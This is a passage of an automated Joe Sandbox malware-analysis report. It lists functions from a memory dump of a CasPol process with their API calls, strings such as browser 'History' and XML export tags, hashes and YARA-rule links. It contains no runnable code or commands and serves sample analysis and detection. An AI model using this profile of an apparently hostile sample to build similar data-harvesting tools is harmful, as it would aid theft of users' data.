                                                                                                                                                                  • Opcode ID: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                                                                                                  • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                                                                                                                                                                  • Opcode Fuzzy Hash: 15bc68a9d504a75b2650ebb6305fe60db7282026434a3c37ef8699a19a7f4611
                                                                                                                                                                  • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                                                                                                                                                                  Function 0040FD9E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040FDD5
                                                                                                                                                                    • Part of subcall function 00414E7F: memcpy.MSVCRT(004032AD,&lt;,00000008,?,?,00000000,0040FDF6,?,?,?,<item>), ref: 00414EFC
                                                                                                                                                                    • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                                                                                                    • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0040FE1F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
                                                                                                                                                                  • String ID: <%s>%s</%s>$</item>$<item>
                                                                                                                                                                  • API String ID: 1775345501-2769808009
                                                                                                                                                                  • Opcode ID: 3766bef419d6113f501c5e442c1acc564cf9e92440af78075bbd4ce4ba4e02a5
                                                                                                                                                                  • Instruction ID: 102da8641e186e10bf8cf1b41b05db2e7c44eca872c9cddb12e5aab4d34b3b7e
                                                                                                                                                                  • Opcode Fuzzy Hash: 3766bef419d6113f501c5e442c1acc564cf9e92440af78075bbd4ce4ba4e02a5
                                                                                                                                                                  • Instruction Fuzzy Hash: 3111C131600219BBDB21AF65CC86E99BB65FF04348F00007AFD05676A2C779E968CBC9
                                                                                                                                                                  Function 00414770 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0041477F
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0041479A
                                                                                                                                                                  • CreateFileW.KERNEL32(00000002,40000000,00000000,00000000,00000002,00000000,00000000), ref: 004147C1
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 004147C8
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscpy$CloseCreateFileHandle
                                                                                                                                                                  • String ID: General
                                                                                                                                                                  • API String ID: 999786162-26480598
                                                                                                                                                                  • Opcode ID: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                                                                                                  • Instruction ID: 029e45c8424a23c50dbc4d8c1dfe1f9d14d00e2cf8bd1bf10ef2c4f99c7741b7
                                                                                                                                                                  • Opcode Fuzzy Hash: d203a37054ecec13293c6845d931113d91e33057b6480a05be5df7ab04b5f2c3
                                                                                                                                                                  • Instruction Fuzzy Hash: 52F024B30083146FF7205B509C85EAF769CEB86369F25482FF05592092C7398C448669
                                                                                                                                                                  Function 0040973C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLastMessage_snwprintf
                                                                                                                                                                  • String ID: Error$Error %d: %s
                                                                                                                                                                  • API String ID: 313946961-1552265934
                                                                                                                                                                  • Opcode ID: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                                                                                                  • Instruction ID: 46023337ddced075b6ccb796d059e6b1f6412beb8ed51135551ede388a9512b7
                                                                                                                                                                  • Opcode Fuzzy Hash: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                                                                                                                                                                  • Instruction Fuzzy Hash: C1F0A7765402086BDB11A795DC06FDA73BCFB45785F0404ABB544A3181DAB4EA484A59
                                                                                                                                                                  Function 00435A61 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 394COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: foreign key constraint failed$new$oid$old
                                                                                                                                                                  • API String ID: 0-1953309616
                                                                                                                                                                  • Opcode ID: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                                                                                                                                                                  • Instruction ID: 109d2bbf80905f1e2503505ff3b1f335ff26ebd6ff49ac5ca42eb4ed0232da3f
                                                                                                                                                                  • Opcode Fuzzy Hash: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                                                                                                                                                                  • Instruction Fuzzy Hash: 71E19271E00318EFDF14DFA5D882AAEBBB5EF08304F54406EE805AB351DB799A01CB65
                                                                                                                                                                  Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • unknown column "%s" in foreign key definition, xrefs: 00431858
                                                                                                                                                                  • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                                                                                                                                                                  • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpy
                                                                                                                                                                  • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                                                                                                                                                                  • API String ID: 3510742995-272990098
                                                                                                                                                                  • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                                                                                                  • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                                                                                                                                                                  • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                                                                                                                                                                  • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                                                                                                                                                                  Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0044A6EB
                                                                                                                                                                  • memset.MSVCRT ref: 0044A6FB
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,00000000,?,?,00000000,?,?,00000000), ref: 0044A75D
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?,?,?,00000000,?,?,00000000), ref: 0044A7AA
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcpymemset
                                                                                                                                                                  • String ID: gj
                                                                                                                                                                  • API String ID: 1297977491-4203073231
                                                                                                                                                                  • Opcode ID: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                                                                                                  • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                                                                                                                                                                  • Opcode Fuzzy Hash: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                                                                                                                                                                  • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                                                                                                                                                                  Function 0040E946 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8EC
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8FA
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E90B
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E922
                                                                                                                                                                    • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E92B
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,00411CA8,00000000,?,00412766,00000000,00000000), ref: 0040E961
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,00411CA8,00000000,?,00412766,00000000,00000000), ref: 0040E974
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000001,?,00411CA8,00000000,?,00412766,00000000,00000000), ref: 0040E987
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,00411CA8,00000000,?,00412766,00000000,00000000), ref: 0040E99A
                                                                                                                                                                  • free.MSVCRT ref: 0040E9D3
                                                                                                                                                                    • Part of subcall function 0040AA04: free.MSVCRT ref: 0040AA0B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@$free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2241099983-0
                                                                                                                                                                  • Opcode ID: 2f3d1febb6567f1c65e15d924abe411323abe179da33a997404dc77986320892
                                                                                                                                                                  • Instruction ID: 098569c1990a85f87ddbd530571c52e66e2f7ba0f471894b996c1416d461d1fd
                                                                                                                                                                  • Opcode Fuzzy Hash: 2f3d1febb6567f1c65e15d924abe411323abe179da33a997404dc77986320892
                                                                                                                                                                  • Instruction Fuzzy Hash: 5001A932A01A2097C665BB27A50195EB354BE86B24316896FF844773C1CB3C6C61C6DF
                                                                                                                                                                  Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • AreFileApisANSI.KERNEL32 ref: 00417497
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                                                                                                                                                                  • malloc.MSVCRT ref: 004174BD
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                                                                                                                                                                  • free.MSVCRT ref: 004174E4
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide$ApisFilefreemalloc
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4053608372-0
                                                                                                                                                                  • Opcode ID: 731f1bc2d56076fd9335eacaa0243be786ea79a0eeca4ef4ad1c585bb51aa26c
                                                                                                                                                                  • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                                                                                                                                                                  • Opcode Fuzzy Hash: 731f1bc2d56076fd9335eacaa0243be786ea79a0eeca4ef4ad1c585bb51aa26c
                                                                                                                                                                  • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                                                                                                                                                                  Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetParent.USER32(?), ref: 0040D453
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0040D460
                                                                                                                                                                  • GetClientRect.USER32(00000000,?), ref: 0040D46B
                                                                                                                                                                  • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                                                                                                                                                                  • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$Rect$ClientParentPoints
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4247780290-0
                                                                                                                                                                  • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                                                                  • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                                                                                                                                                                  • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                                                                                                                                                                  • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                                                                                                                                                                  Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                                                                  • memset.MSVCRT ref: 004450CD
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                                                                                                    • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,0044EB0C,0000000B,?,?,?,00000000,00000000,00000000), ref: 00444F63
                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,00000001,00000008,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00444F75
                                                                                                                                                                    • Part of subcall function 00444E84: memcpy.MSVCRT(?,?,00000010,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00444F9D
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 004450F7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1471605966-0
                                                                                                                                                                  • Opcode ID: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                                                                  • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                                                                                                                                                                  • Opcode Fuzzy Hash: 2aed10359402c50519c1c236b6adb34ede6eedef97d485569bed8d1556fc9971
                                                                                                                                                                  • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                                                                                                                                                                  Function 0044474A Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcscpy.MSVCRT ref: 0044475F
                                                                                                                                                                  • wcscat.MSVCRT ref: 0044476E
                                                                                                                                                                  • wcscat.MSVCRT ref: 0044477F
                                                                                                                                                                  • wcscat.MSVCRT ref: 0044478E
                                                                                                                                                                    • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                                                    • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                                                                    • Part of subcall function 00409A90: lstrcpyW.KERNEL32(?,?), ref: 00409AA5
                                                                                                                                                                    • Part of subcall function 00409A90: lstrlenW.KERNEL32(?), ref: 00409AAC
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wcscat$lstrcpylstrlenmemcpywcscpywcslen
                                                                                                                                                                  • String ID: \StringFileInfo\
                                                                                                                                                                  • API String ID: 102104167-2245444037
                                                                                                                                                                  • Opcode ID: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                                                                                                  • Instruction ID: e4f437c51a7ffcfb72b972a214432876dbdec8abc2c75880463b8380eb377783
                                                                                                                                                                  • Opcode Fuzzy Hash: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                                                                                                                                                                  • Instruction Fuzzy Hash: 41018FB290021DB6EF10EAA1DC45EDF73BCAB05304F0004B7B514F2052EE38DB969B69
                                                                                                                                                                  Function 0040E8E0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8EC
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E8FA
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E90B
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E922
                                                                                                                                                                  • ??3@YAXPAX@Z.MSVCRT(?,?,?,0040EB18), ref: 0040E92B
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                  • Opcode ID: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                                                                                                                                                                  • Instruction ID: 8b058f36177a858601f18eb469b8e3bd7c1df3fc7b9e847ab044313c89d6339d
                                                                                                                                                                  • Opcode Fuzzy Hash: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                                                                                                                                                                  • Instruction Fuzzy Hash: 98F012B25047015FD760AF6AA8C491BF3E9AB597147668C3FF149D3641CB38FC508A1C
                                                                                                                                                                  Function 0040AAE3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _memicmpwcslen
                                                                                                                                                                  • String ID: @@@@$History
                                                                                                                                                                  • API String ID: 1872909662-685208920
                                                                                                                                                                  • Opcode ID: 3ad5d2c3b3ee2b52e24687d5059668d8296d000cbab4a3a90200832106c23410
                                                                                                                                                                  • Instruction ID: 0314511eba11a06c501d0b319d6753a7178557fc2485e08f734f24cb460fdfed
                                                                                                                                                                  • Opcode Fuzzy Hash: 3ad5d2c3b3ee2b52e24687d5059668d8296d000cbab4a3a90200832106c23410
                                                                                                                                                                  • Instruction Fuzzy Hash: F1F0CD3310471157D210DE199C41A2BF7F8DB813A5F11063FF991A31C2D739EC658657
                                                                                                                                                                  Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004100FB
                                                                                                                                                                  • memset.MSVCRT ref: 00410112
                                                                                                                                                                    • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                                                                                                                                                                    • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 00410141
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_snwprintf_wcslwrwcscpy
                                                                                                                                                                  • String ID: </%s>
                                                                                                                                                                  • API String ID: 3400436232-259020660
                                                                                                                                                                  • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                                                                  • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                                                                                                                                                                  • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                                                                                                                                                                  • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                                                                                                                                                                  Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040D58D
                                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                                                                                                                                                                  • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ChildEnumTextWindowWindowsmemset
                                                                                                                                                                  • String ID: caption
                                                                                                                                                                  • API String ID: 1523050162-4135340389
                                                                                                                                                                  • Opcode ID: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                                                                                                  • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                                                                                                                                                                  • Opcode Fuzzy Hash: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                                                                                                                                                                  • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                                                                                                                                                                  Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                                                                                                                                                                    • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                                                                                                                                                                  • CreateFontIndirectW.GDI32(?), ref: 00401156
                                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                                                                                                                                                                  • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                                                                                                  • String ID: MS Sans Serif
                                                                                                                                                                  • API String ID: 210187428-168460110
                                                                                                                                                                  • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                                                                  • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                                                                                                                                                                  • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                                                                  • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                                                                                                                                                                  Function 00409D7F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ClassName_wcsicmpmemset
                                                                                                                                                                  • String ID: edit
                                                                                                                                                                  • API String ID: 2747424523-2167791130
                                                                                                                                                                  • Opcode ID: 966ba6659df31be0b994ff47204b898d343df69b3f9d85cbf29a1f53eef5b26a
                                                                                                                                                                  • Instruction ID: aa36152fd255268de381ae2120198bffa1fffac517830ea88c39a2b7b5867ff0
                                                                                                                                                                  • Opcode Fuzzy Hash: 966ba6659df31be0b994ff47204b898d343df69b3f9d85cbf29a1f53eef5b26a
                                                                                                                                                                  • Instruction Fuzzy Hash: 86E0D872D8031E6AFB10EBA0DC4AFA977BCFB01708F0001B6B915E10C2EBB496494A45
                                                                                                                                                                  Function 00414E13 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
